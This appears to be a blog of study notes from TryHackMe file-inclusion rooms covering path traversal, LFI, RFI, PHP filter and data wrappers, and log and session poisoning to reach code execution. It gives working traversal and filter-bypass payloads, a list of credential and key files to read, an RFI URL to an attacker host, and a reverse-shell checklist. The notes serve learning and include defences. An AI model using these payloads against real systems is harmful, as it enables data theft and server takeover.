THM – File Inclusion – Part 8

What is local file inclusion (LFI)?

This is my notes from the Junior Pentesting course at TryHackMe. This course takes you through the basics and some advanced topics regarding penetration testing.


What is File inclusion?

In some scenarios, web applications are written to request access to files on a given system, including images, static text, and so on via parameters. Parameters are query parameter strings attached to the URL that could be used to retrieve data or perform actions based on user input. The following graph explains and breaking down the essential parts of the URL.

For example, parameters are used with Google searching, where GET requests pass user input into the search engine.

Let’s discuss a scenario where a user requests to access files from a webserver. First, the user sends an HTTP request to the webserver that includes a file to display. For example, if a user wants to access and display their CV within the web application, the request may look as follows, http://webapp.thm/get.php?file=userCV.pdf, where the file is the parameter and the userCV.pdf, is the required file to access.

Why do File inclusion vulnerabilities happen?

File inclusion vulnerabilities are commonly found and exploited in various programming languages for web applications, such as PHP that are poorly written and implemented. The main issue of these vulnerabilities is the input validation, in which the user inputs are not sanitized or validated, and the user controls them. When the input is not validated, the user can pass any input to the function, causing the vulnerability.

What is the risk of File inclusion?

It depends! If the attacker can use file inclusion vulnerabilities to read sensitive data. In that case, the successful attack causes to leak of sensitive data, including code and files related to the web application, credentials for back-end systems. Moreover, if the attacker somehow can write to the server such as  /tmp directory, then it is possible to gain remote command execution RCE. However, it won’t be effective if file inclusion vulnerability is found with no access to sensitive data and no writing ability to the server.

Path Traversal

Path traversal

Also known as Directory traversal, a web security vulnerability allows an attacker to read operating system resources, such as local files on the server running an application. The attacker exploits this vulnerability by manipulating and abusing the web application’s URL to locate and access files or directories stored outside the application’s root directory.

Path traversal vulnerabilities occur when the user’s input is passed to a function such as file_get_contents in PHP. It’s important to note that the function is not the main contributor to the vulnerability. Often poor input validation or filtering is the cause of the vulnerability. In PHP, you can use the file_get_contents to read the content of a file.

The following graph shows how a web application stores files in /var/www/app. The happy path would be the user requesting the contents of userCV.pdf from a defined path /var/www/app/CVs.

We can test out the URL parameter by adding payloads to see how the web application behaves. Path traversal attacks, also known as the dot-dot-slash attack, take advantage of moving the directory one step up using the double dots ../. If the attacker finds the entry point, which in this case get.php?file=, then the attacker may send something as follows, http://webapp.thm/get.php?file=../../../../etc/passwd

Suppose there isn’t input validation, and instead of accessing the PDF files at /var/www/app/CVs location, the web application retrieves files from other directories, which in this case /etc/passwd. Each .. entry moves one directory until it reaches the root directory /. Then it changes the directory to /etc, and from there, it read the passwd file.

As a result, the web application sends back the file’s content to the user.

Similarly, if the web application runs on a Windows server, the attacker needs to provide Windows paths. For example, if the attacker wants to read the boot.ini file located in c:\boot.ini, then the attacker can try the following depending on the target OS version:




The same concept applies here as with Linux operating systems, where we climb up directories until it reaches the root directory, which is usually c:\.

/etc/issuecontains a message or system identification to be printed before the login prompt.
/etc/profilecontrols system-wide default variables, such as Export variables, File creation mask (umask), Terminal types, Mail messages to indicate when new mail has arrived
/proc/versionspecifies the version of the Linux kernel
/etc/passwdhas all registered user that has access to a system
/etc/shadowcontains information about the system’s users’ passwords
/root/.bash_historycontains the history commands for root user
/var/log/dmessagecontains global system messages, including the messages that are logged during system startup
/var/mail/rootall emails for root user
/root/.ssh/id_rsaPrivate SSH keys for a root or any known valid user on the server
/var/log/apache2/access.logthe accessed requests for Apache  webserver
C:\boot.inicontains the boot options for computers with BIOS firmware

What function causes path traversal vulnerabilities in PHP?


Local File Inclusion – LFI

Local File Inclusion (LFI)

With PHP, using functions such as includerequireinclude_once, and require_once often contribute to vulnerable web applications. In this room, we’ll be picking on PHP, but it’s worth noting LFI vulnerabilities also occur when using other languages such as ASP, JSP, or even in Node.js apps. LFI exploits follow the same concepts as path traversal.

In this section, we will walk you through various LFI scenarios and how to exploit them.

1. Suppose the web application provides two languages, and the user can select between the EN and AR


The PHP code above uses a GET request via the URL parameter lang to include the file of the page. The call can be done by sending the following HTTP request as follows: http://webapp.thm/index.php?lang=EN.php to load the English page or http://webapp.thm/index.php?lang=AR.php to load the Arabic page, where EN.php and AR.php files exist in the same directory.

If there isn’t any input validation we can access and display any readable file on the server from the code above. Let’s say we want to read the /etc/passwd file, which contains sensitive information about the users of the Linux operating system, we can try the following: http://webapp.thm/get.php?file=/etc/passwd 

In this case, it works because there isn’t a directory specified in the include function and no input validation.

2. Next, In the following code, the developer decided to specify the directory inside the function.

	include("languages/". $_GET['lang']); 

In the above code, the developer decided to use the include function to call PHP pages in the languages directory only via lang parameters.

If there is no input validation, the attacker can manipulate the URL by replacing the lang input with other OS-sensitive files such as /etc/passwd.

Again the payload looks similar to the path traversal, but the include function allows us to include any called files into the current page. The following will be the exploit:


Lab #1: Read /etc/passwd. What would the request URI be?


Lab #2: What directory specified in the include function?


Local File Inclusion – LFI #2

Lab #3

1 We are performing black box testing, in which we don’t have the source code. In this case, errors are significant in understanding how the data is passed and processed into the web app.

In this scenario, we have the following entry point: http://webapp.thm/index.php?lang=EN. If we enter an invalid input, such as THM, we get the following error

Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

The error message discloses significant information. By entering THM as input, an error message shows what the include function looks like:  include(languages/THM.php);. 

If you look at the directory closely, we can tell the function includes files in the languages directory is adding  .php at the end of the entry. Thus the valid input will be something as follows:  index.php?lang=EN, where the file EN is located inside the given languages directory and named  EN.php

Also, the error message disclosed another important piece of information about the full web application directory path which is /var/www/html/THM-4/

To exploit this, we need to use the ../ trick, as described in the directory traversal section, to get out the current folder. Let’s try the following:


Note that we used 4 ../ because we know the path has four levels /var/www/html/THM-4. But we still receive the following error:

Warning: include(languages/../../../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

It seems we could move out of the PHP directory but still, the include function reads the input with .php at the end! This tells us that the developer specifies the file type to pass to the include function. To bypass this scenario, we can use the NULL BYTE, which is %00.

Using null bytes is an injection technique where URL-encoded representation such as %00 or 0x00 in hex with user-supplied data to terminate strings. You could think of it as trying to trick the web app into disregarding whatever comes after the Null Byte.

By adding the Null Byte at the end of the payload, we tell the  include function to ignore anything after the null byte which may look like:

include(“languages/../../../../../etc/passwd%00″).”.php”); which equivalent to → include(“languages/../../../../../etc/passwd”);

NOTE: the %00 trick is fixed and not working with PHP 5.3.4 and above.

Lab #4

2. The /etc/passwd file is being filtered. There are two possible methods to bypass the filter. First, by using the NullByte %00 or the current directory trick at the end of the filtered keyword /.. The exploit will be similar to http://webapp.thm/index.php?lang=/etc/passwd/. We could also use http://webapp.thm/index.php?lang=/etc/passwd%00.

To make it clearer, if we try this concept in the file system using cd .., it will get you back one step; however, if you do cd ., It stays in the current directory.  Similarly, if we try  /etc/passwd/.., it results to be  /etc/ and that’s because we moved one to the root.  Now if we try  /etc/passwd/., the result will be /etc/passwd since dot refers to the current directory.

Lab #5

3. Next, in the following scenarios, the developer starts to use input validation by filtering some keywords. Let’s test out and check the error message!


We got the following error!

Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15

If we check the warning message in the include(languages/etc/passwd) section, we know that the web application replaces the ../ with the empty string. There are a couple of techniques we can use to bypass this.

First, we can send the following payload to bypass it: ….//….//….//….//….//etc/passwd

Why did this work?

This works because the PHP filter only matches and replaces the first subset string ../ it finds and doesn’t do another pass, leaving what is pictured below.

Lab #6

4. Finally, we’ll discuss the case where the developer forces the include to read from a defined directory! For example, if the web application asks to supply input that has to include a directory such as: http://webapp.thm/index.php?lang=languages/EN.php then, to exploit this, we need to include the directory in the payload like so: ?lang=languages/../../../../../etc/passwd

Lab #3: Read the /etc/passwd. What does the request look like?

Lab #4: Which function is causing the directory traversal in Lab #4?


Can use the same technique as Lab #3.

Lab #5: Read /etc/passwd and bypass filter.

Lab #6: check what is the directory that has to be in the input field?


Remote File Inclusion – RFI

Remote File Inclusion – RFI

Remote File Inclusion (RFI) is a technique to include remote files and into a vulnerable application. Like LFI, the RFI occurs when improperly sanitizing user input, allowing an attacker to inject an external URL into include function. One requirement for RFI is that the allow_url_fopen option needs to be on.

RFI vulnerabilities allow an attacker to gain Remote Command Execution (RCE) on the server. Other consequences of a successful RFI attack include:

  • Sensitive Information Disclosure
  • Cross-site Scripting (XSS)
  • Denial of Service (DoS)

An external server must communicate with the application server for a successful RFI attack where the attacker hosts malicious files on their server. Then the malicious file is injected into the include function via HTTP requests, and the content of the malicious file executes on the vulnerable application server.

RFI steps

Let’s say that the attacker hosts a PHP file on their own server http://attacker.thm/cmd.txt where cmd.txt contains a printing message  Hello THM.

<?PHP echo "Hello THM"; ?>

First, the attacker injects the malicious URL, which points to the attacker’s server, such as http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt. If there is no input validation, then the malicious URL passes into the include function. Next, the web app server will send a GET request to the malicious server to fetch the file. As a result, the web app includes the remote file into include function to execute the PHP file within the page and send the execution content to the attacker. In our case, the current page somewhere has to show the Hello THM message.

We showed how to include PHP pages via RFI. Do research on how to get remote command execution (RCE), and answer the question in the challenge section.

  • Edit php reverse shell
  • Create a simple http server
  • Start netcat listener


To prevent the file inclusion vulnerabilities, some common suggestions include:

  1. Keep system and services, including web application frameworks, updated with the latest version.
  2. Turn off PHP errors to avoid leaking the path of the application and other potentially revealing information.
  3. A Web Application Firewall (WAF) is a good option to help mitigate web application attacks.
  4. Disable some PHP features that cause file inclusion vulnerabilities if your web app doesn’t need them, such as allow_url_fopen on and allow_url_include.
  5. Carefully analyze the web application and allow only protocols and PHP wrappers that are in need.
  6. Never trust user input, and make sure to implement proper input validation against file inclusion.
  7. Implement whitelisting for file names and locations as well as blacklisting.


Steps for testing for LFI

  1. Find an entry point that could be via GETPOSTCOOKIE, or HTTP header values!
  2. Enter a valid input to see how the web server behaves.
  3. Enter invalid inputs, including special characters and common file names.
  4. Don’t always trust what you supply in input forms is what you intended! Use either a browser address bar or a tool such as Burpsuite.
  5. Look for errors while entering invalid input to disclose the current path of the web application; if there are no errors, then trial and error might be your best option.
  6. Understand the input validation and if there are any filters!
  7. Try the inject a valid entry to read sensitive files

Capture Flag1 at /etc/flag1

Method 1

Note: When changing the HTTP request method to POST, remember to always test out different content-type. As you can see in the answer below, the content type is application/x-www-form-urlencoded. If I didnt specify the content-type, it would have been text/html or some sort. That would have not given me the flag.

Here is a list of all possible content-type headers.

Method 2

Capture flag2 at /etc/flag2

Capture flag3 at /etc/flag3

Christmas Special – LFI documentation

In this task, we will be covering the basics of a Local File Inclusion (LFI) vulnerability, including how to identify and test for LFI. We will also show the impact of an LFI vulnerability by exploiting it.

What is a Local File Inclusion (LFI) vulnerability?

An LFI vulnerability is found in various web applications. As an example, in the PHP, the following functions cause this kind of vulnerability:

  • include
  • require
  • include_once 
  • require_once 

It is a web application vulnerability that allows the attacker to include and read local files on the server. These files could contain sensitive data such as cryptographic keys, databases that contain passwords, and other private data. An LFI  vulnerability happens due to a developer’s lack of security awareness. In some cases, developers need to include the content of other local files within a specific page. Suppose a developer includes files without proper input validation. In that case, the LFI vulnerability will exist as a developer should never trust user input and keep all inputs from users to be filtered and sanitized. The main issue of these vulnerabilities is the lack of input validation, in which the user inputs are not sanitized or validated, and the user controls them.

What is the risk of LFI?

Once you find an LFI vulnerability, it is possible to read sensitive data if you have readable permissions on files. Thus, one of the most significant risks is leaking sensitive data accessed by a regular user. Also, in some cases, an LFI vulnerability could be chained to perform Remote Code Execution RCE on the server. If we can inject or write to a file on the system, we take advantage of LFI to get RCE. In this task, we prepared a web application with an LFI vulnerability and a possible way to get RCE. We’ll be looking at this web application later.

Identifying and testing for LFI

Usually, attackers are interested in HTTP parameters to manipulate the input and inject attack payloads to see how the web application behaves. In general, if you are looking for an entry point to test web application attack types, then it is important to use the web app and check its functionalities. An entry point could be HTTP GET  or POST  parameters that pass an argument or data to the web application to perform a specific operation. 

Parameters are query parameter strings attached to the URL that could be used to retrieve data or perform actions based on user input. The following graph explains and breaks down the essential parts of the URL.

For example, parameters are used with Google searching, where GET requests pass user input into the search engine. If you are not familiar with the topic, you can view the How The Web Works module to understand the concept.  

Once you find an entry point, we need to understand how this data could be processed within the application. After this point, you can start testing for certain vulnerability types using manual or automated tools. The following is an example of PHP code that is vulnerable to LFI. 


The PHP code above uses a GET request via the URL parameter file to include the file on the page. The request can be made by sending the following HTTP request: http://example.thm.labs/index.php?file=welcome.txt to load the content of the welcome.txt file that exists in the same directory.

In addition, other entry points can be used depending on the web application, and where can consider the User-Agent, Cookies, session, and other HTTP headers.

Now that we found our entry point, let’s start testing for reading local files related to the operating system. The following are some Linux system files that have sensitive information.

/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)

Let’s start with basic testing of LFI. Once we identify the entry point or the HTTP parameter, we can begin testing and include OS files to see how the web application reacts. As a test case, we can always try /etc/passwd against Linux OS since it is readable for sure. We can also try to include using different techniques such as

  • A direct file inclusion, which starts with /etc/passwd
  • using .. to get out the current directory, the number of .. is varies depending on the web app directory. 
  • Bypassing filters using ….//.
  • URL encoding techniques (such as double encoding)

You can review the topic in the file inclusion room for more information on these techniques.

http://example.thm.labs/page.php?file=/etc/passwd http://example.thm.labs/page.php?file=../../../../../../etc/passwd 

Once you have successfully viewed the content of the /etc/passwd file, you can test for other files.

Now, start the attached machine by using the green Start Machine button in this task, and apply what we discussed so far and answer the questions below. In order to access the website, you can either deploy the AttackBox or visit the following website link:

Exploiting LFI

Exploiting an LFI sometimes is limited and depends on the web application server configuration. Besides reading sensitive data, often, we can obtain remote code execution. If we are dealing with a PHP web application, then we can use a PHP-supported Wrapper. For more information, visit the PHP manual page. PHP provides various methods of transmission of data (Input/Output stream) to allow PHP to read from. It will enable reading data via various data type channels.

PHP Filter

The PHP filter wrapper is used in LFI to read the actual PHP page content. In typical cases, it is not possible to read a PHP file’s content via LFI because PHP files get executed and never show the existing code. However, we can use the PHP filter to display the content of PHP files in other encoding formats such as base64 or ROT13

Let’s try first reading the /etc/passwd file using the PHP filter wrapper.


Now try to read the index.php file using a PHP filter; we get errors because the web server tries to execute the PHP code. To avoid this, we can use a PHP filter while base64 or ROT13 encoding the output as follows:


We will try to use base64 for our scenario. As a result, we will get base64 encoded output as follows:


To read this text as plain text, you can use a Linux terminal or use one of the websites that decodes online, for example,

Now, try to retrieve the index.php content, and answer question #3 below.


The PHP wrapper is used to include raw plain text or base64 encoded data. It is used to include images on the current page. It is being used in LFI exploit. 

Let’s try to base64 encode “AoC3 is fun!” text to include it into the page using wrapper data:


user@machine$ echo "AoC3 is fun!" | base64 QW9DMyBpcyBmdW4hCg==

Also, we could decode a base64 as follows:


user@machine$ echo "QW9DMyBpcyBmdW4hCg==" | base64 --decode AoC3 is fun!

Now we can include our base64 data into the vulnerable page as follows,


As a result, the page will show our lovely message, which is AoC3 is fun!. Using this technique, we can include PHP code into a page, by encoding the required PHP code and including it into PHP data wrapper. You can do some research to check them out!

Other PHP wrappers could be used in the LFI vulnerability. You can do some research to check them out!

As we mentioned before, we can gain remote command execution if we have the ability to write into a file or chain it with other vulnerability types. In this task, we will be using the vulnerable web application that we provided to perform an RCE via LFI.

LFI to RCE via Log files

It is also called a log poisoning attack. It is a technique used to gain remote command execution on the webserver. The attacker needs to include a malicious payload into services log files such as Apache, SSH, etc. Then, the LFI vulnerability is used to request the page that includes the malicious payload. Exploiting this kind of attack depends on various factors, including the design of the web application and server configurations. Thus, it requires enumerations, analysis, and an understanding of how the web application works. For example, a user can include a malicious payload into an apache log file via User-Agent or other HTTP headers. In SSH, the user can inject a malicious payload in the username section. 

In this task, we provided a vulnerable web application that logs users’ requests into a log file to which the webserver user has access. Once we log into the web application, we can visit the log page at

We can see that the log page stores four different headers, including username, IP address, User-Agent, and the visited page.  The User-Agent is an HTTP header that includes the user’s browser information to let servers identify the type of operating system, vendor, and version. The User-Agent is one of the HTTP headers that the user can control. Therefore, in order to get the RCE, you need to include PHP code into User-Agent and send a request to the log file using the LFI to execute in the browser.  Now, let’s test if we can include User-Agent value into the web application log file, and see if our record is recorded!


user@machine$ curl -A "This is testing"

Once we send the HTTP request using curl, now using a registered user, we can check the log page to see if we can add the User-Agent that we sent.

Nice! we were able to include the User-Agent value we wanted. Now, let’s inject PHP code into the User-Agent using the browser, terminals, or web proxies such as Burp Suite. In this task, we will show how to include our code into the web app log using the terminal as follows,


user@machine$ curl -A "<?php phpinfo();?>"

Now using the LFI, load the log file to get the PHP code executed. Note that it is important to visit the log file via LFI. Once you call the log file, we see the PHP information page.

Now it is practice time. We have to apply what we discussed to gain RCE. We have to include PHP code into the User-Agent and then use the LFI vulnerability called the log file to get your PHP code executed, then answer the question below.

LFI to RCE via PHP Sessions

The LFI to RCE via PHP sessions follows the same concept of the log poisoning technique. PHP sessions are files within the operating system that store temporary information. After the user logs out of the web application, the PHP session information will be deleted.

This technique requires enumeration to read the PHP configuration file first, and then we know where the PHP sessions files are. Then, we include a PHP code into the session and finally call the file via LFI. PHP stores session data in files within the system in different locations based on the configuration. The following are some of the common locations that the PHP stores in:


Once the attacker finds where PHP stores the session file and can control the value of their session, the attacker can use it to a chain exploit with an LFI to gain remote command execution.

If we enumerate and read the PHP configuration of the vulnerable web application we provided, we can see that it stores the PHP sessions into the /tmp directory. It also stores the value of the username into the session even if you are not logged in since this value is needed by the developer to use it in the logs function. We inject the PHP code into the user section in the following figure, stored in the PHP session file.

To find the PHP session file name, PHP, by default uses the following naming scheme, sess_<SESSION_ID> where we can find the SESSION_ID using the browser and verifying cookies sent from the server.

To find the session ID in the browser, you can open the developer tools (SHIFT+CTRL+I), then the Application tab. From the left menu, select Cookies and select the target website. There is a PHPSESSID  and the value. In my case, the value is vc4567al6pq7usm2cufmilkm45. Therefore, the file will be as sess_vc4567al6pq7usm2cufmilkm45. Finally, we know it is stored in /tmp. Now we can use the LFI to call the session file.

As a result, we will have the PHP code that we injected into the username file shown on the page. Now apply what we discussed to gain RCE on the webserver using the LFI to RCE via PHP sessions. Now it is your turn to try to get RCE via PHP session.

Similar Posts